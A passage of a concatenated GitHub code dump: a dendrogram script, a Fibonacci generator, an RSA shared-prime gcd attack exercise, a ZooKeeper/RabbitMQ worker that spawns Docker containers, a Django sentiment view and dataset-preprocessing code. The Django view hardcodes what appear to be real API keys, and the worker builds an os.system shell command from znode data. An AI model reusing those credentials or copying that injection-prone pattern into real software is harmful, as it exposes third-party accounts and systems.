dict()\nfor x in range(len(folders_all)):\n folders_colors[folders_all[x]] = color[x]\n \nclusters_colors = dict()\n\nfor x in range(len(filenames)):\n wo_parsed = filenames[x].replace('_parsed_data', '')\n for k, v in folders_colors.items():\n if k in wo_parsed:\n clusters_colors[x] = v\n break\n \ncur_cluster = len(total_data)\n\nZ_list = []\n\ncols_reversed = list(reversed(total_data.columns))\nprev = total_data[cols_reversed[0]].values\ncur_cluster = len(total_data)\n\nd = dict()\ncols = dict()\ndist = 1\n\nfor x in range(len(total_data)):\n d[x] = x\n cols[x] = 1\n\nfor x in cols_reversed[1:]:\n if dist % 1000 == 0:\n print(str(dist) + ' objects have been processed')\n cur = total_data[x].values\n fst = -1\n snd = -1\n for k in list(zip(prev, cur)):\n if not np.isnan(k[1]):\n fst = int(k[1])\n if not np.isnan(k[0]) and np.isnan(k[1]):\n snd = int(k[0])\n break\n fst_real = d[fst]\n snd_real = d[snd]\n cols_new = cols[fst_real] + cols[snd_real]\n del d[snd]\n d[fst] = cur_cluster\n if cols[fst_real] > cols[snd_real]:\n clusters_colors[cur_cluster] = clusters_colors[fst_real]\n else:\n clusters_colors[cur_cluster] = clusters_colors[snd_real]\n cols[cur_cluster] = cols_new\n del cols[fst_real]\n del cols[snd_real]\n cur_cluster += 1\n \n Z_list.append([fst_real, snd_real, dist + 0.0, cols_new])\n dist += 1\n prev = cur\n\nprint('building dendrogram...')\nplt.figure(figsize=(150,150))\nxx = dendrogram(Z_list, link_color_func=lambda x: clusters_colors[x])\nplt.savefig('dendrogram.png', format='png', bbox_inches='tight')\nprint(\"Done! Dendrogram saved to file 'dendrogram.png'\")","repo_name":"AbhayNath001/Cancer-Drugs-SMILES","sub_path":"Enhanced Program/build_dendrogram.py","file_name":"build_dendrogram.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"9344616137","text":"import os , sys , pandas as pd , numpy as np\nfrom matplotlib import pyplot as plt\n\ndata = pd.DataFrame(columns=['n' , 'fibonacci']) ; \n\nprint(data) ; \n\na ,b = 0 , 1 ;\nc = a+b ; \n\n\nfib = [] ; \nn = [i for i in range(30)]\n\nfor i in range(30):\n fib.append(a) ; \n a, b= b , c ;\n c = a+b ; \n\ndata = pd.DataFrame({'x' : n , 'y' : fib} , dtype=str) ; \ndata = data[['x' , 'y']] ; \n\nprint(data) ;\ndata.to_csv('fibonacciData' , index=False) ; ","repo_name":"nateshmbhat/Regression","sub_path":"fibonacci_data_generate.py","file_name":"fibonacci_data_generate.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"38584760043","text":"from Crypto.Util.number import getPrime\nfrom math import gcd\n\n\nif __name__ == '__main__':\n n_len = 2048\n\n p1 = getPrime(n_len)\n p2 = getPrime(n_len)\n p3 = getPrime(n_len)\n\n n1 = p1 * p2\n n2 = p1 * p3\n\n\n print(\"p1=\" + str(p1))\n print(\"p2=\" + str(p2))\n print(\"p3=\" + str(p3))\n print(\"n1 =\" + str(n1))\n print(\"n2 =\" + str(n2))\n\n # attackers: so we only know n1 and n2 (e1=e2=65537)\n # gcd\n\n common_factor = gcd(n1,n2)\n print(common_factor)\n\n f1 = n1 // common_factor\n f2 = n2 // common_factor\n","repo_name":"aldobas/cryptography-03lpyov-exercises","sub_path":"AY2021/attacks/RSA/live/3.common_prime_live.py","file_name":"3.common_prime_live.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"98"} +{"seq_id":"14244504914","text":"import pika\nfrom flask import Flask, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nimport json\nimport docker\nimport subprocess\nimport logging\nimport os\nfrom kazoo.client import KazooClient\nfrom kazoo.client import KazooState\nlogging.basicConfig()\n\nzk = KazooClient(hosts='zoo:2181',timeout=1.0)\nzk.start(timeout=1)\n\ncmd = \"cat /proc/self/cgroup | grep 'docker' | sed 's/^.*\\///' | tail -n1\"\ncid = subprocess.check_output(cmd,shell=True)\ncid = cid.decode(\"utf-8\")\ncid=cid[0:12]\n\nclient2 = docker.APIClient()\npid = client2.inspect_container(cid)['State']['Pid']\nprint(\"---SLAVE PID\", pid)\nprint(\"---CID\", cid)\n\ndef slave_function(event):\n # Create a node with dat\n print(\"event\",event)\n print(\"SLAVE FUNCTION CALLED\")\n if(event.type == 'DELETED'):\n # delete old db\n\n\n # find master db pid (same as data in znode of master)\n ms = \"/worker/master\"\n data, stat = zk.get(ms)\n print(\"DATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\", data)\n data = data.decode(\"utf-8\")\n ind = data.find('PID')\n pid = data[ind+5:len(data)+1]\n masterdb = str(pid)+\".db\"\n print(\"MASTER DB---------------\", masterdb)\n\n\n # spawn new slave\n print(\"---------Spawning New Slave!!--------\")\n client = docker.from_env()\n new_container = client.containers.create(\n image = \"zook_slave1:latest\",\n command = \"python /code/slave.py\",\n volumes = {\n '/var/run/docker.sock': {'bind':'/var/run/docker.sock', 'mode':'rw'},\n '/home/dpk/Desktop/magic/zook':{'bind':'/code', 'mode':'rw'} \n },\n network = \"zook_default\",\n detach = True\n )\n print(\"Trying to start a new container\")\n new_container.start()\n # print(new_container.logs())\n print(\"NEW CONTAINER--\", new_container)\n\n # copy to new container db from master db\n new_cid = new_container.id\n client2 = docker.APIClient()\n new_pid = client2.inspect_container(new_cid)['State']['Pid']\n cmd = \"cp \"+ masterdb +\" \"+ str(new_pid)+\".db\"\n # print(\"*********** COMMAND: \", cmd)\n res = os.system(cmd)\n\n else:\n print(\"UH what event is this even??\")\n \n\nif zk.exists(\"/worker/slave\"):\n print(\"Slave exists\")\nelse:\n zk.create(\"/worker/slave\", b\"hi\")\n\n#print(\"SLAVESSSS OUTSIDE There are %s children with names %s\" % (len(children), children))\ndata1 = \"I am slaver CID : \"+cid+\" PID : \"+str(pid)\ndata1 = data1.encode()\nzk.create(\"/worker/slave/slave\"+str(pid), data1, ephemeral = True)\n\n#data, stat = zk.get_children(\"/worker/slave\")\n#print(\"Version: %s, data: %s\" % (stat.version, data.decode(\"utf-8\")))\nchildren = zk.get(\"/worker/slave/slave\"+str(pid), watch=slave_function)\n#zk.delete(\"/producer/node_1\")\n#print(\"Deleted /producer/node_1\")\n\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///'+str(pid)+'.db'\ndb = SQLAlchemy(app)\n\n\nclass user_details(db.Model):\n username = db.Column(db.String(80), primary_key=True)\n password = db.Column(db.String(80))\n\nclass ride_details(db.Model):\n rideid = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(80))\n timestamp = db.Column(db.String(80))\n source = db.Column(db.Integer)\n destination = db.Column(db.Integer)\nclass join_user(db.Model):\n srn= db.Column(db.Integer,primary_key=True)\n rideid = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(80),primary_key=True)\n\ndb.create_all()\nconnection = pika.BlockingConnection(pika.ConnectionParameters(host='rmq'))\nchannel = connection.channel()\nchannel.queue_declare(queue='rpcq', durable = True)\n#channel.queue_declare(queue='sq',durable = True)\nchannel.exchange_declare(exchange='logs', exchange_type='fanout')\nresult = channel.queue_declare(queue='', exclusive=True)\nqueue_name = result.method.queue\nchannel.queue_bind(exchange='logs', queue=queue_name)\n\ndef callback_sync(ch, method, properties, body): \n print(\" [x] Received %r\" % body)\n x=json.loads(body)\n data = x[\"insert\"]\n cn = x[\"column\"]\n tn = x[\"table\"]\n tn=eval(tn) \n new_user=tn()\n for i in range(len(data)):\n data1 = data[i]\n c1 = cn[i]\n setattr(new_user, c1, data1)\n db.session.add(new_user)\n db.session.commit()\n\n\n\ndef callback_read(x): \n print(\" [x] Received IN READ%r\" % x)\n print(\"======================\")\n print(\"PID: \", str(pid))\n print(\"======================\")\n# x=json.loads(body)\n data = x[\"where\"]\n cn = x[\"column\"]\n tn = x[\"table\"]\n print(data,cn,tn)\n tn=eval(tn) \n new_user=tn()\n result = data.find('AND') \n if(result==-1):\n ind = data.find('=')\n att = data[:ind-1]\n val = data[ind+2:]\n x = getattr(tn, att)\n user1= tn.query.filter((x == val)).all()\n d = {}\n for i in user1:\n cnt = 0\n for j in cn:\n if j not in d:\n d[j] =[]\n cnt =cnt+1\n a = getattr(i, j)\n d[j].append(a)\n \n else:\n q1 = data[:result-1]\n q2 = data[result+4:]\n i1 = q1.find('=')\n a1 = q1[:i1-1]\n v1 = q1[i1+2:]\n x1 = getattr(tn, a1)\n i2 = q2.find('=')\n a2 = q2[:i2-1]\n v2 = q2[i2+2:]\n x2 = getattr(tn, a2)\n #user1= tn.query.filter((x1 == v1)&(x2 == v2)).all()\n user1= tn.query.filter(x1 == v1).filter(x2 == v2).all()\n #print user1\n d = {}\n for i in user1:\t\n cnt = 0\n for j in cn:\n if j not in d:\n d[j] =[]\n cnt =cnt+1\n a = getattr(i, j)\n d[j].append(a)\n# print(d)\n return d\n #print(\"DDDDDDDDDDDOOOOOOOOOOOOOOOOOONNNNNNNNNNNNNNEEEEEEEEEEEEEEEEEEEE\")\n ch.basic_ack(delivery_tag = method.delivery_tag) \n \n\ndef on_request(ch, method, props, body):\n #n = int(body)\n print(\" [x] Received IN REQUEST %r\" % body)\n x=json.loads(body)\n #print(\" [.] fib(%s)\" % n)\n response = callback_read(x)\n\n ch.basic_publish(exchange='',\n routing_key=props.reply_to,\n properties=pika.BasicProperties(correlation_id = \\\n props.correlation_id),\n body=str(response))\n ch.basic_ack(delivery_tag=method.delivery_tag)\n\n#channel.basic_consume(queue='sq', on_message_callback=callback_sync)\nchannel.basic_consume(\n queue=queue_name, on_message_callback=callback_sync, auto_ack=True)\n\nchannel.basic_consume(queue='rpcq', on_message_callback=on_request)\nprint(' [*] Waiting for messages. To exit press CTRL+C')\nchannel.start_consuming() \n\n","repo_name":"DeepikaKaranji/RideShare-DBaaS","sub_path":"stage4/slave.py","file_name":"slave.py","file_ext":"py","file_size_in_byte":6820,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"39736526659","text":"import time\nfrom multiprocessing.dummy import Pool as ThreadPool\nfrom .serializers import *\nimport requests\nfrom django.shortcuts import render\nfrom django.views.generic import ListView\nfrom django.db.models import Q\nfrom django.views.decorators.http import require_POST, require_http_methods\nfrom django.views.generic.detail import DetailView\nimport os\nfrom movie.models import Movie\nfrom elasticsearch_dsl import Q as elastic_Q\nfrom .documents import MovieDocument\nfrom icecream import ic\nfrom textblob import TextBlob\nimport json\nimport emoji\nfrom django.db.models.functions import Length\n\n\nclass Translation():\n \"\"\"Handle translation using different api for a movie\"\"\"\n lang = 'en'\n action = 'google'\n token = '323029:621bbc1d8dfe02.87566886'\n rapid_api_key = '16cfd5816fmsh6528f260d31df4ep14e514jsn0d846d6f14f5'\n\n def comment_translator(self, movie):\n \"\"\"after get the comment of a movie, translation process into a threatpool\"\"\"\n pool = ThreadPool(8) # Threads\n n = 4 # sub list comment lenght\n # we create two list , one including comments with size of smaller than 120 and other bigger tham \n all_comments = movie.comment_movie.all().annotate(\n text_len=Length(\"text\")).filter(text_len__lt=120)#TODO: put the filter of non-translated\n sub_list_comment = [all_comments[i:i + n]for i in range(0, len(all_comments), n)]\n\n\n all_comments = movie.comment_movie.all()\n large_size_comment = all_comments.annotate(\n text_len=Length(\"text\")).filter(text_len__gte=120,)#TODO put the filter of non-translated\n sub_list_comment += [[c] for c in large_size_comment]\n\n try:\n results = pool.map(self.translate_by_api, sub_list_comment)\n pass\n except Exception as e:\n raise e\n pool.close()\n pool.join()\n return True\n\n def translate_by_api(self,comments):\n \"\"\"translate text of list of comment and save the translated part into db\"\"\"\n # if yes the size of the comment is not supported for microsoft api so use google \n if len(comments) ==1 :\n print('going for the big comments\\n\\n') \n comment = comments[0]\n query = comment.text\n url = f'https://one-api.ir/translate/?token={self.token}&action={self.action}&lang={self.lang}&q={query}'\n r = requests.get(url = url, timeout = 4 )\n comment.e_text = r.json().get('result')\n comment.save()\n # using microsoft api to translate \n else:\n payload = [{'text': emoji.get_emoji_regexp().sub(u'', comment.text)}\n for comment in comments]\n url = \"https://microsoft-translator-text.p.rapidapi.com/translate\"\n querystring = {\"to\": \"en\", \"api-version\": \"3.0\",\n \"profanityAction\": \"NoAction\", \"textType\": \"plain\"}\n payload = json.dumps(payload)\n headers = {\n 'content-type': \"application/json\",\n 'x-rapidapi-host': \"microsoft-translator-text.p.rapidapi.com\",\n 'x-rapidapi-key': self.rapid_api_key \n }\n response = requests.request(\n \"POST\", url, data=payload, headers=headers, params=querystring, timeout = 4)\n\n for item, comment in zip(response.json(), comments):\n t = item.get(\"translations\")[0][\"text\"]\n comment.e_text = t\n comment.save()\n return True\n\n\nclass Sentiment():\n points = [-1, -0.5, 0, 0.5, 1 ]\n sentiment_result = {-1:0, -0.5 : 0 , 0:0, 0.5:0, 1:0} # calculated number of\n\n def get_polarity(self,movie):# TODO put filter only on uncalculated comments\n\n comments = list(movie.comment_movie.all())\n\n pool = ThreadPool(8) # Threads\n try:\n results = pool.map(self.get_sentiment_by_api, comments)\n pass\n except Exception as e:\n raise e\n pool.close()\n pool.join()\n average_rating = sum([k*v for k,v in self.sentiment_result.items()]) / sum([i for i in self.sentiment_result.values()])\n movie.sentiment = int(round(average_rating, 3)*100) # get a total average of sentiments\n movie.sentiment_detail = self.sentiment_result\n movie.save()\n return None\n \n def get_sentiment_by_api(self, comment):\n \"\"\"get polarity of the given comment with given \"\"\"\n comment_polarity = TextBlob(comment.e_text).sentiment.polarity\n for indx in range(4):\n if self.points[indx] < comment_polarity <= self.points[indx+1]:\n self.sentiment_result[self.points[indx+1]]+=1\n break\n comment.polarity = comment_polarity\n comment.save()\n\n\nclass MoviePageView(DetailView):\n\n model = Movie\n template_name = 'movie_page.html'\n context_object_name = 'movie'\n translation_class = Translation()\n sentiment_class = Sentiment()\n\n def get_queryset(self):\n object_list = Movie.objects.filter(id=self.kwargs['pk'])\n return object_list\n def get(self, request, *args, **kwargs):\n \"\"\"if sentiment part is done just pass the data, else go for sentiment and then pass the data\"\"\"\n \n movie = Movie.objects.get(id=kwargs['pk'])\n\n # if the sentiment analysis has not done for this movie\n if not movie.sentiment:\n ic(f'translation and sentiment the movie {movie}')\n self.translation_class.comment_translator(movie = movie) \n self.sentiment_class.get_polarity(movie)\n pass\n\n return super().get(request, *args, **kwargs)\n\n\n# get numbers of comment into a excel file to read\n # cs = Comment.objects.all()[:200]\n # ser = CommentExcelSerializer(cs, many = True)\n # df = pd.DataFrame(ser.data)\n # df.to_excel('first 1000 comments.xlsx', encoding=\"UTF-8\", index=False)\n\nclass ListMovie(ListView):\n model = Movie\n template_name = 'main.html'\n context_object_name = 'movies'\n paginate_by = 18\n ordering = ('-id')\n\n\nclass SearchResultView(ListView):\n\n model = Movie\n template_name = 'main.html'\n context_object_name = 'movies'\n paginate_by = 500\n\n def get_queryset(self):\n query = self.request.GET.get('keywords', None)\n q = elastic_Q(\n 'multi_match',\n query=query,\n fields=[\n 'ename',\n 'fname'])\n\n search = MovieDocument.search()[0:200].query(q)\n resp = search.execute()\n return resp.hits\n\n # search method in relational diagram\n # object_list = Movie.objects.filter(Q (ename__icontains=query)\n # | Q(fname__icontains = query)).order_by('id')\n # return object_list\n\n\n # get numbers of comment into a excel file to read\n # cs = Comment.objects.filter(polarity__isnull = False)\n # ser = CommentExcelSerializer(cs, many = True)\n # df = pd.DataFrame(ser.data)\n # df.to_excel('first 1000 comments.xlsx', encoding=\"UTF-8\", index=False)\n\n","repo_name":"ruhollahmozafari/filimo_data_analyser","sub_path":"movie/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7094,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"98"} +{"seq_id":"10725990315","text":"import pandas as pd\nimport numpy as np\nimport xmltodict\nimport os \nimport re\nimport traceback\n\n# utterance concat\ndef uttr_concat(df):\n ids = df['id'].unique()\n \n all_list = []\n \n for i in ids:\n # get all rows whose id == i\n temp_df = df[df['id'] == i]\n temp_df.reset_index(inplace=True)\n \n # record the other columns\n other_columns = list(temp_df)[3::]\n f_df = temp_df.loc[0][other_columns].tolist()\n\n # the utterance list\n text_list = temp_df['utterance'].tolist()\n\n temp_text = ''\n\n result_list = []\n \n def uttr_len(uttr):\n uttr_list = uttr.split(' ')\n return len(uttr_list)\n\n for j,text in enumerate(text_list):\n t = temp_text + text\n if uttr_len(t) > 512:\n # append temp_text into result_list\n result_list.append([i, temp_text] + f_df)\n # let the new text become the new temp_text\n temp_text = text\n else:\n # the last uttr,append to result_list\n if j == (len(text_list) - 1):\n result_list.append([i, t] + f_df)\n # let t = new temp_text\n temp_text = t\n\n all_list+=result_list\n \n all_df = pd.DataFrame(all_list, columns=list(df))\n return all_df\n\n# process myPersonality dataset\ndef myPersonality_process():\n # read data\n myPersonality = pd.read_csv('Source_Data/mypersonality_final.csv',sep = ',')\n # rename columns\n myPersonality.rename(columns={'#AUTHID':'id','STATUS':'utterance'},inplace=True)\n # concat rows\n myPersonality = uttr_concat(myPersonality)\n # change the class type\n myPersonality['cAGR'] = myPersonality['cAGR'].apply(lambda x: 1 if x == 'y' else 0)\n myPersonality['cCON'] = myPersonality['cCON'].apply(lambda x: 1 if x == 'y' else 0)\n myPersonality['cEXT'] = myPersonality['cEXT'].apply(lambda x: 1 if x == 'y' else 0)\n myPersonality['cOPN'] = myPersonality['cOPN'].apply(lambda x: 1 if x == 'y' else 0)\n myPersonality['cNEU'] = myPersonality['cNEU'].apply(lambda x: 1 if x == 'y' else 0)\n myPersonality['utterance'] = myPersonality['utterance'].apply(remove_link)\n return myPersonality\n\n# process pan dataset\ndef pan_process():\n Pan_train_path = 'Source_Data/pan15-author-profiling-training-dataset-2015-04-23/pan15-author-profiling-training-dataset-english-2015-04-23/'\n Pan_test_path = 'Source_Data/pan15-author-profiling-test-dataset-2015-04-23/pan15-author-profiling-test-dataset2-english-2015-04-23/'\n Pan_train_list = []\n Pan_test_list = []\n # open the txt file\n with open(Pan_train_path + 'truth.txt', 'r') as f:\n for line in f.readlines():\n tmp_train_list = line.strip().split(':::')\n Pan_train_list.append(tmp_train_list)\n with open(Pan_test_path + 'truth.txt', 'r') as f:\n for line in f.readlines():\n tmp_test_list = line.strip().split(':::')\n Pan_test_list.append(tmp_test_list)\n df_Pan_train = pd.DataFrame(Pan_train_list, columns = ['u_id', 'gender', 'age', 'E', 'N', 'A', 'C', 'O'])\n df_Pan_test = pd.DataFrame(Pan_test_list, columns = ['u_id', 'gender', 'age', 'E', 'N', 'A', 'C', 'O'])\n \n # get utterance\n def get_train_uttr_by_id(uid):\n uttr_xml = open(Pan_train_path + uid + '.xml', 'r')\n xmlDict = xmltodict.parse(uttr_xml.read())\n uttr = '|'.join(xmlDict['author']['document'])\n uttr_xml.close()\n return uttr\n \n def get_test_uttr_by_id(uid):\n uttr_xml = open(Pan_test_path + uid + '.xml', 'r')\n xmlDict = xmltodict.parse(uttr_xml.read())\n xml_df = pd.DataFrame(xmlDict)\n uttr = '|'.join(xmlDict['author']['document'])\n uttr_xml.close()\n return uttr \n df_Pan_train['utterance'] = df_Pan_train['u_id'].apply(get_train_uttr_by_id)\n df_Pan_test['utterance'] = df_Pan_test['u_id'].apply(get_test_uttr_by_id)\n \n # concat train and test\n df_whole = pd.concat([df_Pan_train, df_Pan_test])\n \n # rename column\n df_whole.rename(columns={'u_id':'id'},inplace=True)\n \n # split original uttr\n df_uttr = df_whole['utterance'].str.split('|',expand = True)\n df_uttr = df_uttr.stack()\n df_uttr = df_uttr.reset_index(level=1,drop=True)\n df_uttr.name='utterance'\n df_whole = df_whole.drop(['utterance'], axis=1).join(df_uttr)\n \n # change the pos of utterance\n utterance = df_whole['utterance']\n df_whole = df_whole.drop('utterance',axis = 1)\n df_whole.insert(1,'utterance',utterance)\n \n # concat rows\n df_whole = uttr_concat(df_whole)\n \n # get trait label\n def get_trait_label(score):\n cls_threshold = 0.2\n if eval(score) >= cls_threshold:\n return 1\n else: return 0\n # cAGR,cCON,cEXT,cOPN,cNEU\n df_whole['cAGR'] = df_whole['A'].apply(get_trait_label)\n df_whole['cCON'] = df_whole['C'].apply(get_trait_label)\n df_whole['cEXT'] = df_whole['E'].apply(get_trait_label)\n df_whole['cOPN'] = df_whole['O'].apply(get_trait_label)\n df_whole['cNEU'] = df_whole['N'].apply(get_trait_label)\n \n def pan_data_clean(uttr): \n uttr = re.sub('@username','',uttr)\n uttr = re.sub('#+','',uttr)\n uttr = re.sub('\\n', ' ',uttr)\n uttr = re.sub('w/ [0-9]','',uttr)\n uttr = re.sub('w/ ','',uttr)\n uttr = re.sub('at (.)*? \\[pic\\]:', '', uttr)\n uttr = re.sub('4 RT, (.)*? Symposium:','',uttr)\n uttr = re.sub('\\[pic\\]:', '',uttr)\n uttr_split = uttr.split(' ')\n uttr = ' '.join(uttr_split)\n return uttr\n df_whole['utterance'] = df_whole['utterance'].apply(pan_data_clean)\n df_whole = df_whole.drop_duplicates(['utterance'])\n df_whole = df_whole.reset_index(drop=True)\n df_whole['utterance'] = df_whole['utterance'].apply(remove_link)\n return df_whole\n\n\n# process friends dataset\ndef friends_process():\n df = pd.read_csv('Source_Data/friends-personality.csv')\n df['raw_text'] = df['raw_text'].apply(lambda x: [[i.split(':')[0].replace('', ''), i.split(':')[1]] for i in x.split('
') if \":\" in i ])\n# print(df)\n\n def get_text_role(sent_list, role):\n '''\n Extract the utterances from the given role\n '''\n ans = \"\"\n for i in sent_list:\n ## if i[0].split(' ')[0] == role and i[0] != 'Phoebe Sr.':\n if i[0] == role:\n ans = ans + ' ' + i[1]\n return ans\n\n def get_context_role(sent_list, role):\n '''\n Extract the utterances not from the given role\n '''\n ans = \"\"\n for i in sent_list:\n # if i[0].split(' ')[0] != role or i[0] == 'Phoebe Sr.':\n if i[0] != role:\n ans = ans + ' ' + i[1]\n return ans\n def get_seg_id(sent_list, role):\n '''\n Generate the segment id for the whole sent\n '''\n ans = []\n for i in sent_list:\n if i[0].split(' ')[0] != role.split(' ')[0]:\n ans.append(0)\n else:\n ans.append(1)\n return ans\n\n def get_sent(sent_list, role):\n '''\n Obtain the whole sent\n '''\n ans = \"\"\n for i in sent_list:\n ans = ans + i[1]\n return ans\n df['dialog_state'] = df.apply(lambda r: get_seg_id(r['raw_text'], r['characters']), axis=1)\n df['sent'] = df.apply(lambda r: get_sent(r['raw_text'], r['characters']), axis=1)\n df['utterance'] = df.apply(lambda r: get_text_role(r['raw_text'], r['characters']), axis=1)\n df['context'] = df.apply(lambda r: get_context_role(r['raw_text'], r['characters']), axis=1)\n df['cAGR'] = df['cAGR'].apply(lambda x: 1 if x is True else 0)\n df['cCON'] = df['cCON'].apply(lambda x: 1 if x is True else 0)\n df['cEXT'] = df['cEXT'].apply(lambda x: 1 if x is True else 0)\n df['cOPN'] = df['cOPN'].apply(lambda x: 1 if x is True else 0)\n df['cNEU'] = df['cNEU'].apply(lambda x: 1 if x is True else 0)\n df['utterance'] = df['utterance'].apply(remove_link)\n return df\n\n# process essay dataset\ndef essay_process():\n eassy = pd.read_csv('Source_Data/essays.csv',sep = ',')\n essay = eassy[['TEXT','cEXT','cNEU','cAGR','cCON','cOPN']]\n df_essay = essay.rename(columns={'TEXT':'utterance'})\n df_essay['cAGR'] = df_essay['cAGR'].apply(lambda x: 1 if x == 'y' else 0)\n df_essay['cCON'] = df_essay['cCON'].apply(lambda x: 1 if x == 'y' else 0)\n df_essay['cEXT'] = df_essay['cEXT'].apply(lambda x: 1 if x == 'y' else 0)\n df_essay['cOPN'] = df_essay['cOPN'].apply(lambda x: 1 if x == 'y' else 0)\n df_essay['cNEU'] = df_essay['cNEU'].apply(lambda x: 1 if x == 'y' else 0)\n df_essay['utterance'] = df_essay['utterance'].apply(remove_link)\n return df_essay\n\n# tsv output\ndef tsv_generate(df,path,datasetName):\n for index, row in df.iteritems():\n if index == 'cEXT':\n df_E = df[['utterance','cEXT']]\n df_E.rename(columns={'cEXT':'labels'},inplace=True)\n df_E.to_csv(path + '/' + datasetName + '_E_whole.tsv',sep = '\\t',index=False)\n elif index == 'cNEU':\n df_N = df[['utterance','cNEU']]\n df_N.rename(columns={'cNEU':'labels'},inplace=True)\n df_N.to_csv(path + '/' + datasetName + '_N_whole.tsv',sep = '\\t',index=False)\n elif index == 'cAGR':\n df_A = df[['utterance','cAGR']]\n df_A.rename(columns={'cAGR':'labels'},inplace=True)\n df_A.to_csv(path + '/' + datasetName + '_A_whole.tsv',sep = '\\t',index=False)\n elif index == 'cCON':\n df_C = df[['utterance','cCON']]\n df_C.rename(columns={'cCON':'labels'},inplace=True)\n df_C.to_csv(path + '/' + datasetName + '_C_whole.tsv',sep = '\\t',index=False)\n elif index == 'cOPN':\n df_O = df[['utterance','cOPN']]\n df_O.rename(columns={'cOPN':'labels'},inplace=True)\n df_O.to_csv(path + '/' + datasetName + '_O_whole.tsv',sep = '\\t',index=False)\n \n# clean links\ndef remove_link(sentence):\n # removing links from text data\n sentence=re.sub('https?://[^\\s<>\"]+|www\\.[^\\s<>\"]+',' ',sentence)\n return sentence\n\ndef main():\n # get dataframe\n df_mp = myPersonality_process()\n df_pan = pan_process()\n df_friends = friends_process()\n df_essay = essay_process()\n # generate tsv\n tsv_generate(df_mp, 'myPersonality', 'MyPersonality')\n tsv_generate(df_pan, 'pan2015', 'Pan')\n tsv_generate(df_friends, 'FriendsPersona', 'Friends')\n tsv_generate(df_essay, 'Essay', 'Essay')\n \nmain() ","repo_name":"preke/Prompt-Personality","sub_path":"data/Data_Construction.py","file_name":"Data_Construction.py","file_ext":"py","file_size_in_byte":10664,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"98"} +{"seq_id":"34254578324","text":"from django.urls import path\nfrom .views import cotacoins, buscar_cotacao, cotacao, infos_grafico, grafico\n\nurlpatterns = [\n path('', cotacoins, name='cotacoins'),\n path('buscar', buscar_cotacao, name='buscar_cotacao'),\n path('cotacao', cotacao, name='cotacao'),\n path('infos-grafico', infos_grafico, name='infos_grafico'),\n path('grafico', grafico, name='grafico'),\n]","repo_name":"hugofolloni/django-cotacoins","sub_path":"cotacao/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"37598606120","text":"class Solution:\n def largestMerge(self, word1: str, word2: str) -> str:\n merged_word = []\n\n word1_ptr = 0\n word2_ptr = 0\n word1_last = len(word1)\n word2_last = len(word2)\n\n while word1_ptr < word1_last and word2_ptr < word2_last:\n if word1[word1_ptr:] >= word2[word2_ptr:]:\n merged_word.append(word1[word1_ptr])\n word1_ptr += 1\n else:\n merged_word.append(word2[word2_ptr])\n word2_ptr += 1\n\n while word1_ptr < word1_last:\n merged_word.append(word1[word1_ptr])\n word1_ptr += 1\n\n while word2_ptr < word2_last:\n merged_word.append(word2[word2_ptr])\n word2_ptr += 1\n\n return \"\".join(merged_word)\n","repo_name":"abelmul/competitive","sub_path":"leetcode/largest-merge-of-two-strings.py","file_name":"largest-merge-of-two-strings.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"14681984990","text":"'''\neng = 'qwertyuiopasdfghjklzxcvbnm'\n\nrus = 'йцукенгшщзхъфывапролджэячсмитьбюё'\n\nlist_English = {1:'AEIOULNSTR', 2:'DG', 3:'BCMP',\n 4:'FHVWY', 5:\"K\" , 8:'JX', 10:'QZ'}\nlist_Russian = {1:'АВЕИНОРСТ', 2:'ДКЛМПУ', 3:'БГЁЬЯ',\n 4:'ЙЫ', 5:'ЖЗХЦЧ', 8:'ШЭЮ', 10:'ФШЪ'}\n\nk = input('Введите слово на русском или английском языке: ')\n\nif k[0].lower() in eng:\n summa = 0\n for letter in k:\n for key, value in list_English.items():\n if letter.upper() in value:\n summa += key\n print(f'стоимость введенного английского слова = {summa}')\nelse:\n if k[0].lower() in rus:\n summa = 0\n for letter in k:\n\n for key, value in list_Russian.items():\n if letter.upper() in value:\n summa += key\n print(f'стоимость введенного русского слова = {summa}')\n'''\n\n'''\nimport re\ndef isCyrillic( k):\n\treturn bool(re.search('[а-яА-Я]', k))\npoints_en = {1:'AEIOULNSTR', 2:'DG', 3:'BCMP', 4:'FHVWY', 5:\"K\" , 8:'JX', 10:'QZ'}\npoints_ru = {1:'АВЕИНОРСТ', 2:'ДКЛМПУ', 3:'БГЁЬЯ', 4:'ЙЫ', 5:'ЖЗХЦЧ', 8:'ШЭЮ', 10:'ФШЪ'}\nk = input('Введите слово').upper()\nif isCyrillic( k):\n\tprint(sum([k for i in k for k, v in points_ru.items() if i in v]))\nelse:\n\tprint(sum([k for i in k for k, v in points_en.items() if i in v]))\n'''\n\n'''\nN = abs(int(input('Введите количество элементов в массиве: ')))\nlist_1 = input(\"Введите через пробел элементы массива: \").split()\nnum = list(map(int, list_1))\nk = int(input('Введите число k, которое необходимо найти в массиве: '))\ncount = 0\nfor i in range(N):\n if num[i] == k:\n count += 1\nprint('Число k встречается: ->', count)\n'''\n\n# N = abs(int(input('Введите количество элементов массива: ')))\n# list_1 = input(\"Введите через пробел элементы массива: \").split()\n# num = list(map(int, list_1 ))\n# k = int(input('Введите число k: '))\n# min = abs(k - num[0])\n# index = 0\n# for i in range(1, N):\n# count = abs(k - num[i])\n# if count < min:\n# min = count\n# index = i\n# print('Самый близкий по величине элемент к заданному 